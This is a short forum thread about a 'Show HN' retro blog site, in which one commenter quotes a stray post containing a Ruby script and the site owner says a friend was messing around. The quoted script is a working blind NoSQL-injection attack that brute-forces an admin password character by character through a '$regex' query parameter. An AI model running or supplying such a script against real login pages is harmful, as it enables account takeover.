News for hackers. Stuff that matters.
Re:Show HN: I made this simple retro blog/personal website w... by tissueapp on Wednesday September 11, 2024 @04:03PM (#41514883)
Very cool. I did see this comment (prob an error):

In https://blog-project-fe0ba.web.app/post/REL7NZPjcBL7i19jtk2b

Error: require 'httpx' username = 'admin' password = '' url = 'http://example.org/login' # CHARSET = (?!..?~).to_a # all ASCII printable characters CHARSET = ['0'..'9','a'..'z','-'] # alphanumeric + '-' GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$'] session = HTTPX.plugin(:persistent) while true CHARSET.each do |c| unless GET_EXCLUDE.include?(c) payload = "?username=#{username}&password[$regex]=^#{password + c}" res = session.get(url + payload) if res.body.to_s.match?('Yeah') puts "Found one more char : #{password + c}" password += c end end end end

Re:Show HN: I made this simple retro blog/personal website w... by thankuxari on Wednesday September 11, 2024 @04:08PM (#41514920)
haha yeah i think my friend was messing around trying to do something, almost all of the post are my friends typing random things